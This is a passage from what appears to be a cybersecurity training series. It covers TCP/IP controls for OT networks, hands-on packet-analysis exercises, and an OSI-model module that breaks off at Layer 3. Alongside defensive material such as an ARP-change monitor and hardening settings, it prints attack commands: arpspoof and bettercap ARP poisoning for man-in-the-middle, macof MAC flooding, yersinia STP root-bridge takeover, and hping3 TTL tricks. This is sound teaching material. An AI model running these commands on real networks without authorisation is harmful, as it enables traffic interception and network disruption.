12.3 TCP/IP Security Controls for OT

Priority 1 — Network Segmentation:
  OT network MUST be isolated from IT network
  Use: dedicated firewall, DMZ for data exchange
  Not acceptable: direct routing between IT and OT VLANs

Priority 2 — Protocol Whitelisting:
  Firewall between zones should only allow specific OT protocols
  Allow: Modbus TCP (502) from HMI IPs to PLC IPs ONLY
  Block: All other traffic by default
  Log: All denied traffic for anomaly detection

Priority 3 — IP Addressing:
  Use RFC1918 addresses not routable from internet
  Separate OT subnets from IT subnets (different /24 ranges)
  Document all static IP assignments

Priority 4 — ARP/NDP Monitoring:
  Deploy arpwatch or commercial OT asset monitoring (Claroty, Nozomi)
  Alert on any ARP changes in OT network
  OT networks change slowly — any ARP change is suspicious

Priority 5 — Encrypted Management:
  Use SSH instead of Telnet for device management
  Use SNMPv3 instead of v1/v2c
  Disable HTTP management, use HTTPS
  VPN with MFA for remote access

13. Hands-On Exercises

Exercise 1: TCP Handshake Analysis (45 minutes)

# Capture a complete TCP session and analyse every field

# Start capture — focus on HTTP (unencrypted for full visibility)
sudo tcpdump -i eth0 -w /tmp/tcp_session.pcap 'host neverssl.com and port 80'

# In another terminal:
curl -v http://neverssl.com/ 2>&1 | head -30

# Stop capture (Ctrl+C in tcpdump terminal)

# Open in Wireshark:
wireshark /tmp/tcp_session.pcap

# Tasks:
# 1. Find the SYN packet — what is the client's ISN?
#    Filter: tcp.flags.syn==1 and tcp.flags.ack==0
#
# 2. Find the SYN-ACK — what is the server's ISN?
#    What TCP options does the server advertise?
#    Filter: tcp.flags.syn==1 and tcp.flags.ack==1
#
# 3. Find the final ACK — verify: ack = server_ISN + 1
#
# 4. Find the HTTP GET request
#    What sequence number does it start with?
#    How large is the payload?
#    Filter: http.request
#
# 5. Find the FIN packets — count the four-way termination
#    Filter: tcp.flags.fin==1
#
# 6. Statistics → TCP Stream Graph → Time Sequence (tcptrace)
#    Visualise the sequence numbers over time

# Command-line analysis with tshark:
tshark -r /tmp/tcp_session.pcap -Y "tcp" -T fields \
    -e frame.time_relative \
    -e ip.src \
    -e ip.dst \
    -e tcp.srcport \
    -e tcp.dstport \
    -e tcp.flags \
    -e tcp.seq \
    -e tcp.ack \
    -e tcp.window_size_value

Exercise 2: ARP Analysis and Simulation (1 hour)

# Part 1: Capture and analyse normal ARP
sudo tcpdump -i eth0 -n 'arp' -v &   # Background capture
sleep 2
ping -c 1 $(ip route | grep default | awk '{print $3}')   # Ping gateway (triggers ARP)
sleep 2
kill %1

# Analyse:
# - What was the ARP request? (broadcast to FF:FF:FF:FF:FF:FF)
# - What was the ARP reply?
# - What EtherType identifies ARP?
# - What is the difference in packet size between request and reply?

# Part 2: Examine your ARP cache
ip neigh show
# For each entry, note:
# - IP address
# - Device (interface)
# - MAC address
# - State: REACHABLE/STALE/DELAY/PROBE/FAILED

# Part 3: Write an ARP detection script
cat > /tmp/arp_monitor.py << 'EOF'
#!/usr/bin/env python3
"""
ARP Monitor — detect MAC address changes indicating ARP poisoning
"""
from scapy.all import sniff, ARP, Ether
from collections import defaultdict
import time

ip_mac_map = {}

def process_arp(pkt):
    if pkt.haslayer(ARP):
        if pkt[ARP].op == 2:  # ARP Reply (is-at)
            ip = pkt[ARP].psrc
            mac = pkt[ARP].hwsrc
            timestamp = time.strftime('%H:%M:%S')

            if ip in ip_mac_map:
                if ip_mac_map[ip] != mac:
                    print(f"[{timestamp}] [ALERT] ARP CHANGE DETECTED!")
                    print(f"  IP: {ip}")
                    print(f"  OLD MAC: {ip_mac_map[ip]}")
                    print(f"  NEW MAC: {mac}")
                    print(f"  Possible ARP poisoning attack!")
                else:
                    print(f"[{timestamp}] [OK] {ip} → {mac} (unchanged)")
            else:
                ip_mac_map[ip] = mac
                print(f"[{timestamp}] [NEW] {ip} → {mac}")

print("ARP monitor started. Watching for MAC changes...")
sniff(filter="arp", prn=process_arp, store=0)
EOF
chmod +x /tmp/arp_monitor.py
sudo python3 /tmp/arp_monitor.py

Exercise 3: IPv4 Subnetting Practice (30 minutes)

# Use Python to build intuition for subnetting:
python3 << 'EOF'
import ipaddress

# Common subnetting scenarios in security:

# 1. Given an IP and subnet, find all hosts:
net = ipaddress.ip_network("10.10.10.0/24", strict=False)
print(f"Network: {net}")
print(f"Total addresses: {net.num_addresses}")
print(f"Usable hosts: {net.num_addresses - 2}")
print(f"First host: {list(net.hosts())[0]}")
print(f"Last host: {list(net.hosts())[-1]}")
print(f"Broadcast: {net.broadcast_address}")

# 2. Determine if two IPs are on the same subnet:
ip1 = ipaddress.ip_interface("192.168.1.50/24")
ip2 = ipaddress.ip_interface("192.168.1.100/24")
ip3 = ipaddress.ip_interface("192.168.2.50/24")
print(f"\n{ip1.ip} and {ip2.ip} same network? {ip1.network == ip2.network}")
print(f"{ip1.ip} and {ip3.ip} same network? {ip1.network == ip3.network}")

# 3. Summarise a list of addresses (useful for firewall rules):
addresses = [
    "10.0.0.1", "10.0.0.2", "10.0.0.3", "10.0.0.4",
    "10.0.0.5", "10.0.0.6", "10.0.0.7"
]
addr_objects = [ipaddress.ip_address(a) for a in addresses]
summary = list(ipaddress.collapse_addresses(addr_objects))
print(f"\nSummarised {len(addresses)} IPs into {len(summary)} range(s):")
for s in summary:
    print(f"  {s}")

# 4. Split a network into subnets (useful for network design):
big_net = ipaddress.ip_network("192.168.0.0/22")
subnets = list(big_net.subnets(new_prefix=24))
print(f"\n/22 split into /24 subnets:")
for s in subnets:
    print(f"  {s} — {s.num_addresses - 2} hosts")
EOF

Exercise 4: ICMP Recon and Detection (30 minutes)

# ICMP-based network reconnaissance:

# 1. Host discovery using different ICMP types
sudo nmap -sn -PE 192.168.1.0/24    # Echo Request (standard ping)
sudo nmap -sn -PP 192.168.1.0/24    # Timestamp Request (Type 13)
sudo nmap -sn -PM 192.168.1.0/24    # Address Mask Request (Type 17)
# Compare results — some hosts respond to some types but not others

# 2. Traceroute analysis
mtr --report --report-cycles 5 8.8.8.8
# Save output and analyse:
# - Which hops have 100% packet loss? (ICMP Type 11 not returned — not necessarily down)
# - Which hops have variable latency? (congestion)
# - Where does the TTL drop occur geographically? (infer location from latency)

# 3. Detect and block ICMP tunnel attempts
# ICMP tunnels use large payloads — detect with:
sudo tcpdump -i eth0 'icmp and (icmp[icmptype] = icmp-echo or icmp[icmptype] = icmp-echoreply) and length > 200'

# 4. Block ICMP redirect acceptance (hardening):
sudo sysctl net.ipv4.conf.all.accept_redirects          # Check current
sudo sysctl -w net.ipv4.conf.all.accept_redirects=0     # Disable
sudo sysctl -w net.ipv4.conf.all.secure_redirects=0     # Disable even from gateways
sudo sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=1   # Disable broadcast ping response

14. Module Summary

Topic	Core Mechanism	Attack Relevance	Defence
TCP/IP Model	4-layer encapsulation	Every attack traverses the stack	Defence must cover all layers
TCP	Reliable, ordered, connection-oriented byte stream	SYN flood, session hijacking, RST injection, port scanning	SYN cookies, stateful firewalls, randomised ISN
UDP	Connectionless, unreliable, low overhead	Amplification DDoS, IP spoofing, loose firewall bypass	BCP38, rate limiting, stateful UDP tracking
TCP Handshake	SYN→SYN-ACK→ACK establishes bidirectional ISN exchange	SYN flood exploits half-open state	SYN cookies defer state allocation
TCP Termination	FIN→ACK→FIN→ACK graceful close	TIME_WAIT exhaustion, RST injection	RST validation, TIME_WAIT tuning
TCP Internals	Sliding window, congestion control, keepalive	Zero-window DoS, ACK throttling	Tune keepalive, monitor window behaviour
IPv4	32-bit hierarchical addressing	IP spoofing, ICMP attacks, fragmentation attacks	BCP38, fragment reassembly at border
Special ranges	RFC1918, APIPA, loopback, multicast	AWS metadata (169.254.169.254) SSRF, internal recon	Firewall cloud metadata endpoints
CIDR/Subnetting	Variable-length prefix for network/host split	Network enumeration, scope determination	Minimal subnet sizes, VLAN isolation
NAT	Port-based translation of private to public IP	Hides internal network topology, C2 bypasses NAT	Logging NAT translations for forensics
IPv6	128-bit addressing, NDP, multicast-based	Rogue RA attacks, NDP spoofing, bypasses IPv4-only security	RA Guard, dual-stack firewalling, disable unused IPv6
ICMP	Network diagnostic and error reporting	Ping of Death, Smurf, ICMP redirect, ICMP tunnel	Drop/rate-limit ICMP, disable redirects, detect large payloads
ARP	L2 IP-to-MAC resolution, no authentication	ARP poisoning → MITM → intercept plaintext protocols	DAI, arpwatch, 802.1X, static critical entries

Next Module: Stage 1.4 — IP Addressing and Subnetting

Previous Module: Stage 1.2 — OSI Model

Series Index: Full Roadmap

Stage 1.2 — The OSI Model

Rençber AKMAN — Mon, 01 Jun 2026 04:17:03 +0000

From Zero to Cybersecurity Professional | Complete Roadmap Series

Series: Cybersecurity × OT/ICS Security — Full Roadmap

Stage: 1 — Network Fundamentals

Module: 1.2 — The OSI Model

Level: Beginner → Advanced

Prerequisites: Stage 1.1 — Network Concepts

Next Module: 1.3 — TCP/IP Model

Why the OSI Model Is the Security Professional's Mental Framework
OSI Model Overview — The Seven Layers
Layer 1 — Physical
Layer 2 — Data Link
Layer 3 — Network
Layer 4 — Transport
Layer 5 — Session
Layer 6 — Presentation
Layer 7 — Application
Encapsulation and Decapsulation — The Full Picture
OSI vs TCP/IP — Where Theory Meets Reality
Attacking Across the Stack — Layer-by-Layer Threat Map
OSI in OT/ICS Environments
Hands-On Exercises
Module Summary

1. Why the OSI Model Is the Security Professional's Mental Framework

Every security tool you will ever use operates at one or more specific layers of the OSI model. Every attack targets one or more specific layers. Every defence protects one or more specific layers. The moment you internalise OSI, you gain the ability to think about any network interaction — attack, defence, or forensics — with structural precision.

Without OSI, security concepts become a disconnected list of techniques to memorise. With OSI, every technique has a logical home. You stop memorising and start reasoning.

Concrete examples of why this matters in practice:

When an alert fires in your SIEM saying "suspicious DNS traffic," you immediately know: DNS is Application Layer (L7). The alert is about behaviour at L7. The traffic still had to cross L1-L6 to get there. You know to check: is this DNS tunnelling (L7 data being abused to exfiltrate data)? Is the DNS server reachable only because a firewall rule was misconfigured at L3? Did an ARP poisoning attack at L2 redirect the DNS query to a rogue resolver?

When a penetration tester reports "VLAN hopping vulnerability," you immediately know: VLANs are L2. The attack abuses how switches handle 802.1Q tagging at L2 to reach network segments that should be logically separated.

When a blue teamer says "we need to implement TLS inspection," you immediately know: TLS is L6 (Presentation). Inspection requires terminating the TLS session at the inspection appliance (L6 operation) and re-encrypting to the destination. This has specific forensic and privacy implications.

For OT/ICS environments: Industrial protocols map to the OSI model just like IT protocols, but the mapping is often unusual and the security controls present at each layer are drastically fewer. A Modbus TCP transaction starts at L7 (the Modbus application protocol) but has no authentication at any layer. Understanding exactly which OSI layer provides (or fails to provide) security in an industrial network is the foundation of OT security assessment.

The OSI model was published by ISO in 1984. It was designed as a theoretical framework for interoperability — not specifically for security. But its structure accidentally created the perfect mental model for security analysis, because it separates concerns with exactly the granularity that security work requires.

2. OSI Model Overview — The Seven Layers

2.1 The Stack

┌──────────────────────────────────────────────────────────────┐
│  Layer 7 — Application    │ HTTP, HTTPS, DNS, SMTP, FTP,    │
│                           │ SMB, Modbus, DNP3, IEC 61850    │
├──────────────────────────────────────────────────────────────┤
│  Layer 6 — Presentation   │ TLS/SSL, JPEG, MPEG, ASCII,     │
│                           │ Base64, Encryption/Compression   │
├──────────────────────────────────────────────────────────────┤
│  Layer 5 — Session        │ NetBIOS, RPC, SQL sessions,     │
│                           │ TLS handshake (session setup)    │
├──────────────────────────────────────────────────────────────┤
│  Layer 4 — Transport      │ TCP, UDP, SCTP, QUIC            │
├──────────────────────────────────────────────────────────────┤
│  Layer 3 — Network        │ IPv4, IPv6, ICMP, IPSec,        │
│                           │ OSPF, BGP, ARP*                  │
├──────────────────────────────────────────────────────────────┤
│  Layer 2 — Data Link      │ Ethernet, Wi-Fi (802.11),       │
│                           │ ARP, VLAN (802.1Q), STP         │
├──────────────────────────────────────────────────────────────┤
│  Layer 1 — Physical       │ Copper, Fibre, Radio waves,     │
│                           │ Electrical signals, RS-485       │
└──────────────────────────────────────────────────────────────┘

2.2 The Memory Device

Two mnemonics used by every network professional. Learn both — they appear in different directions depending on context:

Top to Bottom (L7 → L1): "All People Seem To Need Data Processing"

All → Application (7)
People → Presentation (6)
Seem → Session (5)
To → Transport (4)
Need → Network (3)
Data → Data Link (2)
Processing → Physical (1)

Bottom to Top (L1 → L7): "Please Do Not Throw Sausage Pizza Away"

Please → Physical (1)
Do → Data Link (2)
Not → Network (3)
Throw → Transport (4)
Sausage → Session (5)
Pizza → Presentation (6)
Away → Application (7)

2.3 The Core Principle — Layer Independence

Each layer:

Provides services to the layer above it
Uses services from the layer below it
Communicates logically with the same layer on the remote device
Does not care about the implementation details of other layers

This independence is both the power of the model and its security weakness. A layer cannot inherently verify that the layer below it is functioning correctly or hasn't been compromised. L7 application code assumes L4 is delivering data reliably. It does not verify that L2 hasn't been poisoned. This trust between layers is exploited constantly.

2.4 PDU — Protocol Data Unit

Each layer has a name for its unit of data:

Layer	PDU Name	Contains
7 — Application	Data / Message	Application payload
6 — Presentation	Data	Formatted/encrypted data
5 — Session	Data	Session-managed data
4 — Transport	Segment (TCP) / Datagram (UDP)	Port numbers + data
3 — Network	Packet	IP addresses + segment
2 — Data Link	Frame	MAC addresses + packet
1 — Physical	Bits	Raw binary signal

When you look at a Wireshark capture, every packet is one of these PDUs. Knowing the terminology eliminates confusion when reading security documentation, CVE descriptions, and tool outputs.

3. Layer 1 — Physical

3.1 What Layer 1 Does

Layer 1 is the medium. It defines how bits — ones and zeros — are physically transmitted between devices. It deals with:

Signalling: How a bit 1 is distinguished from a bit 0 on the medium. In copper Ethernet, voltage levels. In fibre, light pulses. In Wi-Fi, radio wave modulation.
Bit rate: How many bits per second the medium can carry
Physical connectors: RJ-45 (Ethernet), LC/SC (fibre), SMA (coaxial/RF)
Cabling standards: Cat5e, Cat6, Cat6a, single-mode fibre, multi-mode fibre
Signal encoding: Manchester encoding, 4B/5B, PAM4 — how bits map to physical signals

Layer 1 has no concept of addressing, error correction, or protocol. It simply converts bits into physical signals and physical signals back into bits.

3.2 Layer 1 Technologies

Copper Ethernet (IEEE 802.3):

Cat5e:  1 Gbps  up to 100m
Cat6:   1 Gbps  up to 100m, 10 Gbps up to 55m
Cat6a:  10 Gbps up to 100m
Cat8:   40 Gbps up to 30m (data centre)

Connector: RJ-45 (8P8C)
Signalling: Differential voltage on twisted pairs
          1000BASE-T uses all 4 pairs simultaneously

Fibre Optic:

Multi-mode fibre (MMF):  
  OM3/OM4: 10 Gbps up to 300m (data centre, short runs)
  Orange/aqua jacket
  LED light source

Single-mode fibre (SMF):
  OS2: 10 Gbps up to 80km, 100 Gbps up to 40km
  Yellow jacket
  Laser light source
  Used for WAN, campus backbone, undersea cables

Wireless (IEEE 802.11):

2.4 GHz band: longer range, more interference, slower
5 GHz band:   shorter range, less interference, faster
6 GHz band:   Wi-Fi 6E only, very short range, very fast

802.11n (Wi-Fi 4):  600 Mbps theoretical
802.11ac (Wi-Fi 5): 3.5 Gbps theoretical
802.11ax (Wi-Fi 6): 9.6 Gbps theoretical

Industrial Physical Layer (OT/ICS):

RS-232:  Serial, point-to-point, ±12V signalling, up to 20 kbps
         Used for: legacy HMI/PLC connections, console ports on network devices

RS-485:  Serial, multi-drop bus, ±5V differential signalling, up to 10 Mbps
         Used for: Modbus RTU (the dominant industrial protocol)
         Up to 32 devices on one bus, up to 1200m

CAN bus: Controller Area Network, differential, up to 1 Mbps
         Used for: automotive, some industrial sensors

Profibus PA: 31.25 kbps, intrinsically safe for hazardous areas
             Used for: process automation field devices

4-20mA loop: Analogue, not digital — carries a current signal
             representing a physical measurement
             Still extremely common in field instrumentation

3.3 Layer 1 Security Threats

Physical Wiretapping:
Copper cables can be tapped by physically accessing the cable and connecting monitoring equipment. This does not require breaking the cable — a vampire tap or inductive coupler can intercept traffic without creating a visible break. Fibre is harder to tap without detection because bending fibre causes measurable light loss, but specialist equipment exists for covert fibre taps.

Nation-state level physical tapping is documented: the NSA's Room 641A at AT&T facilities, revealed in 2006, was a room that split fibre traffic for surveillance. The Snowden documents described submarine cable tap programmes.

Signal Jamming:
Radio-frequency jamming disrupts wireless communications by overwhelming the signal with noise. Relevant for:

Wi-Fi networks (denial of service at Layer 1)
Industrial wireless sensor networks (Zigbee, WirelessHART, ISA100.11a)
GPS jamming affecting time synchronisation (critical for power grid protection systems that rely on GPS-derived timestamps for phasor measurement)

Hardware Implants:
Nation-state actors have demonstrated hardware implants inserted into network cables and equipment that passively capture traffic. The ANT catalogue (Snowden documents) described implants including COTTONMOUTH (implanted in USB cables) and HALLUXWATER (firmware backdoor in Huawei routers).

At an industrial level, the supply chain for PLC hardware, field instruments, and communication cards represents a physical layer attack surface that is rarely audited.

Rogue Access Points:
Plugging an unauthorised device into a physical network port is a Layer 1 attack — it requires physical access but bypasses all logical security controls. Once connected, the rogue device has Layer 1 access equivalent to any legitimate device.

Power Analysis Side-Channel (covered in Stage 0.1):
Physical measurement of power consumption during cryptographic operations. Relevant to smart meters, smart cards, HSMs, and industrial devices.

3.4 Layer 1 in Practice

# Check physical interface status on Linux
ip link show                        # All interfaces and their states
ip link show eth0                   # Specific interface
ethtool eth0                        # Physical layer details: speed, duplex, link status

# Example ethtool output:
# Speed: 1000Mb/s
# Duplex: Full
# Link detected: yes
# Port: Twisted Pair
# Auto-negotiation: on

# Check for physical errors (CRC errors, collisions indicate cabling issues)
ethtool -S eth0 | grep -E "error|drop|miss|crc"

# On Windows:
# Get-NetAdapter | Select-Object Name, Status, LinkSpeed, MediaType
# netsh interface show interface

# Wireless physical layer details
iwconfig wlan0                      # Legacy wireless info
iw dev wlan0 info                   # Modern wireless info
iw dev wlan0 link                   # Current link quality, signal strength, noise

# Signal strength is measured in dBm (decibel-milliwatts)
# -30 dBm: excellent
# -67 dBm: good (recommended minimum for voice/video)
# -80 dBm: poor
# -90 dBm: unusable

Key Insight: Physical security IS Layer 1 security. All logical security controls can be bypassed by an attacker with sufficient physical access. The reason secure facilities have strict physical access controls, cable management policies, and hardware inventory audits is that once physical access is granted, every layer above it is potentially compromised. In OT environments where control system cabinets may be in unmanned remote locations, this is existential.

4. Layer 2 — Data Link

4.1 What Layer 2 Does

Layer 2 is responsible for reliable transmission of data between two directly connected devices. It does two things that Layer 1 cannot:

Framing: Packages raw bits into structured frames with a beginning, end, source, and destination
Error detection: Detects (but usually not corrects) transmission errors using checksums

Layer 2 introduces the concept of hardware addressing — MAC addresses — which identify devices on the same network segment. Every NIC has a MAC address burned in at manufacturing time (though it can be overridden in software).

Layer 2 is bounded by network devices that operate at L2: switches and bridges. A packet crossing a switch stays within the same Layer 2 domain. A packet crossing a router leaves one Layer 2 domain and enters another.

4.2 Ethernet Frame Deep Dive

Ethernet II Frame:
 ┌──────────┬──────────┬───────────┬──────────────────────┬──────────┐
 │ Dst MAC  │ Src MAC  │ EtherType │       Payload        │   FCS    │
 │ 6 bytes  │ 6 bytes  │  2 bytes  │   46 - 1500 bytes    │ 4 bytes  │
 └──────────┴──────────┴───────────┴──────────────────────┴──────────┘

EtherType values (critical for security — identifies L3 protocol):
  0x0800 → IPv4
  0x0806 → ARP
  0x86DD → IPv6
  0x8100 → 802.1Q VLAN tagged frame
  0x8847 → MPLS
  0x88CC → LLDP (Link Layer Discovery Protocol)
  0x88E1 → HomePlug AV (powerline networking)
  0x88F7 → PTP (Precision Time Protocol — used in OT time synchronisation)
  0x88BA → IEC 61850 GOOSE
  0x88CD → IEC 61850 SAMPLED VALUES

FCS: Frame Check Sequence
  CRC-32 checksum over the entire frame
  Calculated by sender, verified by receiver
  A frame with a bad FCS is discarded silently
  High FCS error rates indicate physical layer problems (bad cable, interference)

802.1Q VLAN Tagging:

Standard Ethernet II:
 [Dst MAC][Src MAC][EtherType][Payload][FCS]

802.1Q Tagged Frame:
 [Dst MAC][Src MAC][0x8100][TCI][EtherType][Payload][FCS]
                    ──────  ───
                    Tag     Tag Control Information
                    Protocol  ├── PCP: Priority Code Point (QoS, 3 bits)
                    Identifier├── DEI: Drop Eligible Indicator (1 bit)
                              └── VID: VLAN ID (12 bits, 0-4095)

VLAN 0:    Reserved
VLAN 1:    Default VLAN (most switches, traffic not explicitly tagged)
VLAN 4094: Often used for management
VLAN 4095: Reserved

4.3 Switches — The Core L2 Device

A switch builds and maintains a MAC address table (also called CAM table — Content Addressable Memory). When a frame arrives:

Switch reads source MAC → adds to MAC table with the incoming port
Switch reads destination MAC → looks up in MAC table
If found → forward frame only to that port (unicast)
If not found → flood frame to all ports except source port (unknown unicast)
If destination is broadcast (FF:FF:FF:FF:FF:FF) → flood to all ports

# View switch MAC address table (Cisco IOS)
show mac address-table
show mac address-table dynamic         # Only learned entries
show mac address-table address <MAC>   # Find which port a MAC is on

# On Linux acting as a bridge
bridge fdb show                        # Show forwarding database

4.4 ARP — Address Resolution Protocol

ARP resolves IPv4 addresses to MAC addresses. When a device wants to send an IP packet to another device on the same subnet, it needs the MAC address to construct the Ethernet frame.

ARP Request (broadcast):
  Who has 192.168.1.1? Tell 192.168.1.5

  [Src MAC: AA:BB:CC:DD:EE:FF]
  [Dst MAC: FF:FF:FF:FF:FF:FF]  ← Broadcast
  [EtherType: 0x0806]
  [Operation: Request (1)]
  [Sender MAC: AA:BB:CC:DD:EE:FF]
  [Sender IP:  192.168.1.5]
  [Target MAC: 00:00:00:00:00:00]  ← Unknown
  [Target IP:  192.168.1.1]

ARP Reply (unicast):
  192.168.1.1 is at 11:22:33:44:55:66

  [Src MAC: 11:22:33:44:55:66]
  [Dst MAC: AA:BB:CC:DD:EE:FF]  ← Direct to requester
  [EtherType: 0x0806]
  [Operation: Reply (2)]
  [Sender MAC: 11:22:33:44:55:66]
  [Sender IP:  192.168.1.1]
  [Target MAC: AA:BB:CC:DD:EE:FF]
  [Target IP:  192.168.1.5]

The critical security flaw in ARP:
ARP has no authentication. Any device can send an ARP reply claiming any IP-to-MAC mapping. Devices accept and cache unsolicited ARP replies without verification. This is the foundation of ARP spoofing.

# View ARP cache
arp -a                              # Linux/Windows
ip neigh show                       # Linux (modern)

# ARP spoofing with arpspoof (dsniff package)
# This tells all hosts on the network that 192.168.1.1 (gateway)
# is at the attacker's MAC address:
sudo arpspoof -i eth0 -t 192.168.1.0/24 192.168.1.1
# AND tell the gateway that all hosts are at attacker's MAC:
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.0/24

# Enable IP forwarding so the attacker machine actually forwards the traffic:
echo 1 > /proc/sys/net/ipv4/ip_forward

# Now all traffic between hosts and gateway passes through attacker → MITM

# More modern tool: Bettercap
sudo bettercap -iface eth0
# bettercap> net.probe on
# bettercap> arp.spoof.targets 192.168.1.0/24
# bettercap> arp.spoof on
# bettercap> net.sniff on

# Detection: monitor ARP traffic for duplicate IP-to-MAC mappings
sudo arpwatch -i eth0               # Alerts on ARP anomalies
# Or in Wireshark: filter "arp" and look for:
# - Same IP claimed by two different MACs
# - High frequency of gratuitous ARP replies

4.5 Layer 2 Attack Surface

MAC Flooding (CAM Table Overflow):
A switch's MAC table has finite capacity (typically 8,000-128,000 entries). If an attacker floods the switch with frames containing random source MAC addresses, the table fills up. When the table is full, the switch cannot learn new MAC addresses and falls back to flooding ALL frames to ALL ports — behaving like a hub.

Result: The attacker's NIC in promiscuous mode receives all traffic on the switch, including traffic between other devices.

# MAC flooding with macof (dsniff)
sudo macof -i eth0                  # Floods with random MAC frames
# Generates ~155,000 packets/second
# Most modern switches have MAC flooding protection (port security)
# but legacy switches and some industrial switches do not

VLAN Hopping:
Two methods to reach VLANs an attacker should not have access to:

Method 1: Switch Spoofing
If a switch port is configured as "dynamic" (DTP — Dynamic Trunking Protocol enabled), an attacker can negotiate a trunk link with the switch, receiving traffic from ALL VLANs.

Normal access port: carries traffic for one VLAN only
Trunk port: carries traffic for multiple VLANs (tagged with 802.1Q)

Attack: Send DTP packets to negotiate trunk mode on an access port
Result: Attacker receives all VLANs

Prevention: Explicitly disable DTP — configure ports as access or trunk, never dynamic
Cisco: switchport nonegotiate
      switchport mode access  (for access ports)

Method 2: Double Tagging
Works only if the attacker is on the native VLAN of a trunk port. The attacker sends a frame with TWO 802.1Q tags:

Outer tag: native VLAN (removed by first switch)
Inner tag: target VLAN (forwarded by second switch)

Attacker frame: [Outer Tag: VLAN 1][Inner Tag: VLAN 100][Payload]

Switch 1: Removes outer tag (VLAN 1 is native, strip tag), forwards
Switch 2: Sees inner tag VLAN 100, forwards to VLAN 100

The reply cannot return via this method (unidirectional)
But for sending traffic (injecting attacks, DoS), this works

Prevention: Never use VLAN 1 as native VLAN
            Change native VLAN to an unused VLAN (e.g., VLAN 999)

STP Attacks — Spanning Tree Protocol:
STP (IEEE 802.1D) prevents Layer 2 loops in networks with redundant paths. It elects a root bridge and blocks redundant links. If the root bridge changes, STP reconverges — temporarily disrupting the network.

STP attack: Send BPDUs (Bridge Protocol Data Units) with a lower
            bridge priority than the current root bridge
Result:     Attacker's machine becomes the root bridge
            Traffic reroutes through attacker's machine → MITM
            STP reconvergence causes network disruption (seconds to minutes)

Tools: Yersinia (Layer 2 attack tool — STP, CDP, VTP, DTP attacks)
sudo yersinia -G                    # GUI mode
sudo yersinia stp -attack 0        # Send superior BPDUs to become root bridge

Prevention:
  BPDU Guard: Disable port if BPDU received on access port (PortFast ports)
  Root Guard: Prevent specific ports from becoming root bridge ports
  BPDU Filter: Don't send/receive BPDUs on specific ports

LLDP/CDP Information Disclosure:
LLDP (Link Layer Discovery Protocol, IEEE 802.1AB) and CDP (Cisco Discovery Protocol) are L2 protocols that advertise device information to neighbours.

# Capture LLDP packets to enumerate network devices
sudo tcpdump -i eth0 ether proto 0x88cc -v    # LLDP EtherType
# Reveals: device name, port description, VLAN info, IP address, hardware model

# Wireshark filter: lldp or cdp
# In a corporate network, CDP/LLDP can reveal the entire network topology

# Prevention: Disable CDP/LLDP on untrusted ports (user-facing ports)
# Cisco: no cdp enable  (per interface)
# Linux: sudo lldpad -d; lldptool -L -i eth0 adminStatus=disabled

4.6 Layer 2 in OT/ICS

Industrial Ethernet increasingly uses standard Layer 2 (Ethernet II with 802.1Q). However:

GOOSE and Sampled Values (IEC 61850):
These are Layer 2 protocols — they do NOT use IP. They are sent directly as Ethernet frames with EtherType 0x88BA (GOOSE) and 0x88CD (Sampled Values). This means:

They cannot be filtered by IP firewalls
They cannot be encrypted with TLS (which requires IP)
They traverse the Layer 2 domain freely
An attacker with Layer 2 access can inject, replay, or suppress GOOSE messages

GOOSE messages carry protection relay status. A relay detecting a fault sends a GOOSE message instructing other relays and breakers to trip. Injecting a false GOOSE message can cause protective relays to trip unnecessarily — causing outages. Suppressing GOOSE messages prevents relays from tripping during an actual fault — causing equipment damage.

This is why IEC 62351 exists — it defines security for IEC 61850, including GOOSE message authentication using HMAC-SHA256. Adoption is growing but far from universal.

IEC 62351-6 GOOSE Security:
  - Authentication tag appended to GOOSE message
  - HMAC-SHA256 using pre-shared key or certificate-based key
  - Prevents injection and modification
  - Does NOT prevent replay (separate mechanism needed)
  - Performance impact: minimal on modern hardware, significant on legacy IEDs

Checking for GOOSE in a capture:
sudo tcpdump -i eth0 ether proto 0x88ba   # GOOSE frames

Key Insight: Layer 2 is the most dangerous layer for lateral movement on a LAN. ARP has no authentication. STP has no authentication. VLANs can be hopped. MAC tables can be flooded. All of this happens before any IP firewall or IDS can see the traffic. In OT environments, IEC 61850 GOOSE running at Layer 2 with no authentication represents a direct path to physical consequence. Detecting Layer 2 attacks requires monitoring at Layer 2 — which most organisations fail to implement.

5. Layer 3 — Network

5.1 What Layer 3 Does

Layer 3 enables communication between devices on different networks. While Layer 2 handles same-segment communication, Layer 3 handles routing — forwarding packets across multiple networks to reach a destination anywhere in the world.

Layer 3 introduces logical addressing — IP addresses — which are independent of hardware and can be assigned, changed, and structured hierarchically. This hierarchy (networks, subnets) enables the internet's routing system to scale to billions of devices.

Layer 3 devices: Routers. A router has multiple Layer 3 interfaces, each on a different network. It examines the destination IP of every incoming packet and forwards it toward the destination based on its routing table.

5.2 IP — Internet Protocol

IP is the fundamental Layer 3 protocol. It provides:

Addressing: Source and destination IP addresses
Routing: TTL, fragmentation, options for routing decisions
Connectionless delivery: No guarantee of delivery, ordering, or error-free transmission (that is TCP's job at L4)

IPv4 header fields critical for security (full header covered in 1.1):

TTL (Time to Live):
Decremented by each router. Prevents infinite routing loops. OS fingerprinting uses initial TTL values (Linux=64, Windows=128, Cisco=255). When TTL reaches 0, router sends ICMP Time Exceeded and drops the packet.

# TTL manipulation in attacks:
# Tools like hping3 allow setting arbitrary TTL values
hping3 --ttl 1 target_ip            # Packet dies at first hop (ICMP Time Exceeded response reveals first router)
hping3 --ttl 255 target_ip          # Maximum TTL, reaches anywhere

# TTL-based evasion: some IDSs only inspect packets with TTL > threshold
# Sending packets with very low TTL that will die before reaching IDS but
# be processed by the target if the target is "behind" the IDS
# This is the basis of "TTL manipulation" IDS evasion

Fragmentation:
IP packets can be fragmented when they exceed the MTU of a link. The receiving end reassembles fragments.

Original packet: 4000 bytes (exceeds MTU 1500)

Fragment 1: [IP Header: offset=0, MF=1][1480 bytes of data]
Fragment 2: [IP Header: offset=185, MF=1][1480 bytes of data]
Fragment 3: [IP Header: offset=370, MF=0][1040 bytes of data]

MF = More Fragments flag
offset = where this fragment fits in the original packet (in 8-byte units)

Fragmentation attacks:

Teardrop (CVE-1999): Overlapping fragment offsets cause kernel crash during reassembly. Patched in modern OSes but relevant for legacy embedded OT devices.
Fragmentation evasion: Send a signature-triggering payload split across fragments. Some IDS systems don't reassemble fragments before signature matching.
Tiny fragment attack: Force TCP header into second fragment. The first fragment is too small to contain enough of the TCP header for access control decisions.

5.3 ICMP — Internet Control Message Protocol

ICMP is the error-reporting and diagnostic protocol at Layer 3. It runs directly over IP (protocol number 1) and has no ports.

